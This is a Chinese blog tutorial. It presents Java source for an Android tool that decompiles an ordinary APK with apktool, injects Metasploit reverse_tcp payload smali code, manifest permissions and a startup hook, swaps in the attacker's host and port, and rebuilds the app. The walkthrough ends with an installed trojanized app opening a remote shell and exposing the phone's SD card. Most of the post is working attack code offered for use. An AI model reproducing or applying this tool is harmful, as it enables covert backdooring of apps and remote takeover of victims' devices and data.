【Android编程】Java利用apktool编写Metasploit恶意后门注入工具_演示入侵过程

/声明:本文作者Kali_MG1937
csdn博客id:ALDYS4
QQ:3496925334
未经许可禁止转载!
/

之前我不是分析过安卓载荷的构造并成功利用了吗
那么这回就动手写一个安卓工具来利用它!
(分析过程详看我的第一篇博客:分析metasploit安卓载荷

开始构思

既然要实现载荷注入,那么首先就要实现反编译要注入的apk了
打开github
apktool.jar必不可少
既然是java语言,apktool在安卓上的应用还是有些麻烦
比如apktool中的
brut.androlib.ApktoolProperties.java

InputStream in = ApktoolProperties.class.getResourceAsStream("/properties/apktool.properties");

这个类调用到getResourceAsStream方法来获取assest文件夹中的资源,而这种方法在android中无法实现(亲测,运行时报错,原因不明)
但android有专门针对assest资源调用的AssestManager类,只要调用其getAssest()方法就可以对assest中的文件进行io流操作

由于诸多条件的限制,我不可能花太多时间和精力来完善apktool,但幸运的是,apktool.jar安卓化已经被github开源作者imkiva实现了
他新建了一个类并构造了许多void方法来容纳apktool的任性
放上他优化过后的apktool:
Apktool for android

apktool的问题解决了,接下来就是一个难关:反编译
总之我是没找到apktool的官方文档
在搜索了大量资料后发现大多数人都是利用apktool中的ApkDecoder这个类中的decode()等等方法进行apk反编译的

但apktool的开发者一定会更加简洁地去包装整个反编译过程,我打开apktool的源代码,查找ApkDecoder这个类

发现各种与之相关联的类最终都指向brut.apktool.Main这个类
发现Main的main方法需要引入一个字符串,也就是String[] arg,arg被带入解析成一个个字符,检查其中的参数,最终调用各种类去完成相应的操作

    public static void main(String[] args) throws IOException, InterruptedException, BrutException {

        // set verbosity default
        Verbosity verbosity = Verbosity.NORMAL;

        // cli parser
        CommandLineParser parser = new PosixParser();
        CommandLine commandLine = null;

        // load options
        _Options();

        try {
            commandLine = parser.parse(allOptions, args, false);
        } catch (ParseException ex) {
            System.err.println(ex.getMessage());
            usage(commandLine);
            return;
        }

        // check for verbose / quiet
        if (commandLine.hasOption("-v") || commandLine.hasOption("--verbose")) {
            verbosity = Verbosity.VERBOSE;
        } else if (commandLine.hasOption("-q") || commandLine.hasOption("--quiet")) {
            verbosity = Verbosity.QUIET;
        }
        setupLogging(verbosity);

        // check for advance mode
        if (commandLine.hasOption("advance") || commandLine.hasOption("advanced")) {
            setAdvanceMode(true);
        }

        // @todo use new ability of apache-commons-cli to check hasOption for non-prefixed items
        boolean cmdFound = false;
        for (String opt : commandLine.getArgs()) {
            if (opt.equalsIgnoreCase("d") || opt.equalsIgnoreCase("decode")) {
                cmdDecode(commandLine);
                cmdFound = true;
            } else if (opt.equalsIgnoreCase("b") || opt.equalsIgnoreCase("build")) {
                cmdBuild(commandLine);
                cmdFound = true;
            } else if (opt.equalsIgnoreCase("if") || opt.equalsIgnoreCase("install-framework")) {
                cmdInstallFramework(commandLine);
                cmdFound = true;
            } else if (opt.equalsIgnoreCase("publicize-resources")) {
                cmdPublicizeResources(commandLine);
                cmdFound = true;
            }
        }

        // if no commands ran, run the version / usage check.
        if (!cmdFound) {
            if (commandLine.hasOption("version") || commandLine.hasOption("version")) {
                _version();
            } else {
                usage(commandLine);
            }
        }
}

继续检查代码,我惊讶地发现其中调用到的cmdBuild,cmdDecode等方法不就完美包装着反编译,回编译等操作吗

那么利用之前分析metasploit的结果相应注入smail代码进行回编译的操作也完美解决了

只需要传入Main.main一个值就可以了,自己包装几个方法去实现它就更加简单了

开始工程

首先新建一个Cmd类去包装apktool命令的方法

public class Cmd
{
	public static List<String> cmd;
	public static void start()
	{
		cmd=new ArrayList<String>();
	}
public static	void add(String a)
	{
		cmd.add(a);
	}
	public static String[] get()
	{
		return cmd.toArray(new String[cmd.size()]);
	}
	public static String getString()
	{
		
		StringBuilder sb=new StringBuilder();
		for(String s:Cmd.get())
		{
			sb.append(s);
			sb.append("\n");
		}
		return sb.toString();
	}
	public static void setArray(String[] s)
	{
		
		Cmd.start();
		for(String ss:s)
		{
			cmd.add(ss);
		}
	}
	
	
	
	public void apkDecompile(String apk,String out)
	{
		start();
		cmd.add("d");
		cmd.add(apk);
		cmd.add("-o");
		cmd.add(out);
		cmd.add("-f");
		cmd.add("-b");
	}
	public void apkDecompileRes(String src,String apk)
	{
		start();
		cmd.add("d");
		cmd.add(src);
		cmd.add("-o");
		cmd.add(apk);
		cmd.add("-f");
		cmd.add("-r");
		cmd.add("-c");
		}
		
	public void apkDecompileDex(String src,String apk)
	{
		start();
		cmd.add("d");
		cmd.add(src);
		cmd.add("-o");
		cmd.add(apk);
		cmd.add("-f");
		cmd.add("-s");
	}
	
	public void apkCompile(String src,String aapt,String apk)
	{
		
		start();
		cmd.add("b");
		cmd.add(src);
		cmd.add("-a");
		cmd.add(aapt);
		cmd.add("-o");
		cmd.add(apk);
		cmd.add("-f");
		
	}
}

安卓载荷的smail代码我已经提取出来了,接下来需要做的就是释放assest中的smail资源并修改smail中所有的类名和f方法的a值(关于f方法还是看我第一篇分析metasploit的博客吧)
新建PayloadInject类和FileControl类

public class PayloadInject
{
	//删除内容方法
	public static void DeletIn(String file,String place) throws FileNotFoundException, IOException{
		BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
		String str="";
		StringBuffer sb=new StringBuffer();
		while((str=br.readLine())!=null){
			sb.append(str+"\n");
		}
		str=sb.toString().replace(place,"");
		BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
		bw.write(str);
		bw.close();
	}
	
	//新的插入方法replace替换
	public static void injectIn(String file,String place,String inject) throws FileNotFoundException, IOException{
		BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
		String str="";
		StringBuffer sb=new StringBuffer();
		while((str=br.readLine())!=null){
			sb.append(str+"\n");
		}
		str=sb.toString();
		StringBuffer change=sb.replace(str.indexOf(place),str.indexOf(place)+place.length(),place+"\n"+inject);
		BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
		bw.write(change.toString());
		bw.close();
	}
	
	public static void AllInject(String com)
	{

		try
		{
			File file=new File("/sdcard/inject_msf");
			File[] files=file.listFiles();//遍历目录下所有文件
			for (File f:files)
			{
				System.out.println(f);
				BufferedReader br=new BufferedReader(new FileReader(f));//依次读取文件内容
				try
				{

					String str;
					CharArrayWriter cw=new CharArrayWriter();
					while ((str = br.readLine()) != null)
					{
						str = str.replace("Lcom/metasploit/stage/", "L" + com.replace(".", "/") + "/");//替换包名
						System.out.println(str);
						//System.out.println(str);
						cw.write(str);
						cw.append(System.getProperty("line.separator"));
						
					}
					br.close();
					FileWriter fw=new FileWriter(f);
					cw.writeTo(fw);
					fw.close();
				}
				catch (FileNotFoundException e)
				{}
				finally
				{if (br != null)
					{br.close();}}
			}
		}
		catch (FileNotFoundException e)
		{}
		catch (IOException e)
		{}
	}
	

	public static void injectLhost(String lhost,String lport) throws IOException{
		File file=new File("/sdcard/inject_msf/f.smali");
		BufferedReader br=new BufferedReader(new FileReader(file));
		try
		{
			String str;
			CharArrayWriter cw=new CharArrayWriter();

			while((str=br.readLine())!=null){
				str=str.replaceAll("tcp://192.168.2.200:6666","tcp://"+lhost+":"+lport);//替换ip和port
				System.out.println(str);
				cw.write(str);
				cw.append(System.getProperty("line.separator"));
			}
			br.close();
			FileWriter fw=new FileWriter(file);
			cw.writeTo(fw);
			fw.close();
		}
		catch (FileNotFoundException e)
		{System.out.println(e);}


	}
	
	
	
	public static void inject(String com,String filename) throws IOException{
		File file=new File("/sdcard/inject_msf/"+filename);
			BufferedReader br=new BufferedReader(new FileReader(file));
			try
			{
				String str;
				CharArrayWriter cw=new CharArrayWriter();
				
				while((str=br.readLine())!=null){
					str=str.replaceAll("com.metasploit.stage.",com);//替换包名
					System.out.println(str);
					cw.write(str);
					cw.append(System.getProperty("line.separator"));
				}
				br.close();
				FileWriter fw=new FileWriter(file);
				cw.writeTo(fw);
				fw.close();
			}
			catch (FileNotFoundException e)
			{System.out.println(e);}
			
		
}

因为直接利用InputStream读取大文件会乱码,所以我利用BufferedWriter类来进行文件转移和写入操作

public class FileControl
{public static String ReadSDString(String filename) throws FileNotFoundException, IOException {
        String msg="";
		StringBuffer sb=new StringBuffer();
		BufferedReader br=new BufferedReader(new FileReader(filename));
		while((msg=br.readLine())!=null){
			sb.append(msg+"\n");
		}
        return sb.toString();
    }//读取文件内容

    public static String ReadString(Context context,String filename) throws FileNotFoundException, IOException {
        String msg="";
		StringBuffer sb=new StringBuffer();
		BufferedReader br=new BufferedReader(new FileReader(context.getFileStreamPath("inject/"+filename)));
		while((msg=br.readLine())!=null){
			sb.append(msg+"\n");
		}
        return sb.toString();
    }
	

    
	public static void copyFolderFromAssets(Context context, String rootDirFullPath, String targetDirFullPath) {
        Log.d("Tag", "copyFolderFromAssets " + "rootDirFullPath-" + rootDirFullPath + " targetDirFullPath-" + targetDirFullPath);
        try {
            String[] listFiles = context.getAssets().list(rootDirFullPath);// 遍历该目录下的文件和文件夹
            for (String string : listFiles) {// 判断目录是文件还是文件夹,这里只好用.做区分了
                Log.d("Tag", "name-" + rootDirFullPath + "/" + string);
                if (isFileByName(string)) {// 文件
                    copyFileFromAssets(context, rootDirFullPath + "/" + string, targetDirFullPath + "/" + string);
                } else {// 文件夹
                    String childRootDirFullPath = rootDirFullPath + "/" + string;
                    String childTargetDirFullPath = targetDirFullPath + "/" + string;
                    new File(childTargetDirFullPath).mkdirs();
                    copyFolderFromAssets(context, childRootDirFullPath, childTargetDirFullPath);
                }
            }
        } catch (IOException e) {
            Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getMessage());
            Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getLocalizedMessage());
            e.printStackTrace();
        }
    }

    private static boolean isFileByName(String string) {
        if (string.contains(".")) {
            return true;
        }
        return false;
    }

  //从assets目录下拷贝文件
    
    public static void copyFileFromAssets(Context context, String assetsFilePath, String targetFileFullPath) {
        Log.d("Tag", "copyFileFromAssets ");
        InputStream assestsFileImputStream;
        try {
            assestsFileImputStream = context.getAssets().open(assetsFilePath);
            copyFile(assestsFileImputStream, targetFileFullPath);
        } catch (IOException e) {
            Log.d("Tag", "copyFileFromAssets " + "IOException-" + e.getMessage());
            e.printStackTrace();
        }
    }

    public static void copyFile(InputStream in, String targetPath) {
        try {
            FileOutputStream fos = new FileOutputStream(new File(targetPath));
            byte[] buffer = new byte[1024];
            int byteCount = 0;
            while ((byteCount = in.read(buffer)) != -1) {// 循环从输入流读取
                // buffer字节
                fos.write(buffer, 0, byteCount);// 将读取的输入流写入到输出流
            }
            fos.flush();// 刷新缓冲区
            in.close();
            fos.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


}

看样子载荷注入和文件提取都解决了,那么就开始进行反编译和注入了

bt.setOnClickListener(new OnClickListener(){

				@Override
				public void onClick(View p1)
				{final Cmd cmd=new Cmd();//cmd
				final String file=ed.getText().toString();
				cmd.start();
				
					new Thread(new Runnable(){

							@Override
							public void run()
							{runOnUiThread(new Runnable(){

										@Override
										public void run()
										{ly.setVisibility(View.VISIBLE);
										tv.append("\n开始反编译apk...");
										
											// TODO: Implement this method
										}
									});
								cmd.apkDecompile(file,Environment.getExternalStorageDirectory().toString()+"/msfapk");
								try
								{
									apk.run(cmd.get());
								}
								catch (IOException e)
								{}
								catch (InterruptedException e)
								{}
								catch (BrutException e)
								{}
								runOnUiThread(new Runnable(){

										@Override
										public void run()
										{tv.append("\n反编译完成!");
											ly.setVisibility(View.GONE);
											showInjectMessage();
											// TODO: Implement this method
										}
									});
							}
							
						
						}).start();
					
				}
			});

    }

bt和tv参数就是Button和TextView了
反编译动作完成,开始注入载荷
因为注入任务需要独占线程可能会造成卡顿,所以我利用异步线程AsyncTask进行操作

	public class baksmalis extends AsyncTask<Void,Void,Void>
	{
StringBuffer sb=new StringBuffer();
String aaptdir="";
		@Override
		protected void onPreExecute()
		{tv.append("\n注入开始...");
			// TODO: Implement this method
			super.onPreExecute();
		}
		
		@Override
		protected Void doInBackground(Void[] p1)
		{
			
			//注入包名信息
			try
			{
				PayloadInject.inject(com + ".", "class2.txt");
			}
			catch (IOException e)
			{}
			//注入权限
			try
			{
				String permission=FileControl.ReadSDString("/sdcard/inject_msf/permission.txt");
				PayloadInject.injectIn("AndroidManifest.xml", "</application>", permission);
			//删除影响元素
			PayloadInject.DeletIn("AndroidManifest.xml","android:resizeableActivity=\"true\"");
			}
			catch (IOException e)
			{}
				//注入意图
			try
			{
				String Class=FileControl.ReadSDString("/sdcard/inject_msf/class.txt");
				PayloadInject.injectIn("AndroidManifest.xml", "</intent-filter>", "\n" + Class);
				
			}
			catch (IOException e)
			{}
				//注入声明
			try
			{
				String Class2=FileControl.ReadSDString("/sdcard/inject_msf/class2.txt");
				PayloadInject.injectIn("AndroidManifest.xml", "</activity>", "\n" + Class2);
				
			}
			catch (IOException e)
			{}
			//注入包名
			PayloadInject.AllInject(com);
			//注入启动服务
			try
			{
				String Java=FileControl.ReadSDString("/sdcard/inject_msf/inject.txt");
				PayloadInject.injectIn("smali/" + com.replace(".", "/") + "/" + java + ".smali", "onCreate(Landroid/os/Bundle;)V", "\n" + Java);
				
			}
			catch (IOException e)
			{}
			//注入tcp
			try
			{
				PayloadInject.injectLhost(lhost, lport);
			}
			catch (IOException e)
			{}
			//清道夫
			String[] file=new String[]{"permission.txt","class.txt","class.txt","inject.txt"};
			for(String f:file){
				File files=new File("/sdcard/inject_msf/"+f);
				files.delete();
			}
			//复制文件
			String[] payload=new File("/sdcard/inject_msf/").list();
			for(String str:payload){
				try
				{
					InputStream in=new FileInputStream("/sdcard/inject_msf/" + str);
					FileControl.copyFile(in, "/sdcard/msfapk/smali/" + com.replace(".", "/") + "/" + str);
					
				}
				catch (FileNotFoundException e)
				{}
					}
			
			Cmd cmd=new Cmd();
			aaptdir=Manage.copyfile(MainActivity.this,"aapt.mrp");
			
			cmd.apkCompile(Environment.getExternalStorageDirectory().toString()+"/msfapk",aaptdir,Environment.getExternalStorageDirectory().toString()+"/msfapk.apk");
			try
			{
				brut.apktool.Main.main(cmd.get());
			}
			catch (InterruptedException e)
			{sb.append("\nInterrupted报错:\n"+e.toString());}
			catch (BrutException e)
			{sb.append("\nBrut报错\n"+e.toString());}
			catch (IOException e)
			{sb.append("\nIo流报错\n"+e.toString());}
			// TODO: Implement this method
			return null;
		}

		@Override
		protected void onPostExecute(Void result)
		{if(sb.toString().equals("")){
			tv.append("\n回编译执行完成!");
		}else{tv.append("\n"+sb.toString());}
			// TODO: Implement this method
			super.onPostExecute(result);
		}
		
	}
	

至此反编译和注入还有回编译都完成了,ui懒得放出来了,签名代码已经懒得写了
接下来编译代码看看效果
先编译一个没有任何行为的空项目
用注入工具开始注入。。。
在这里插入图片描述

接着输入对应的reverse_tcp信息
在这里插入图片描述
完成注入后的apk会输出在/sdcard/msfapk.apk
在这里插入图片描述
签名,安装
在这里插入图片描述
打开
在这里插入图片描述
回到kali,可以看到载荷已经反弹了一个shell
在这里插入图片描述
看看能不能访问sd卡
在这里插入图片描述
可以!
接下来就可以任意控制安装了病毒载荷的手机了!

接下来放上注入工具的开源和视频
/声明:开源作者即为本文作者Kali_MG1937
csdn博客id:ALDYS4
QQ:3496925334
未经许可禁止转载!
/

项目开源

测试视频

猜你喜欢

转载自blog.csdn.net/ALDYS4/article/details/85998037
今日推荐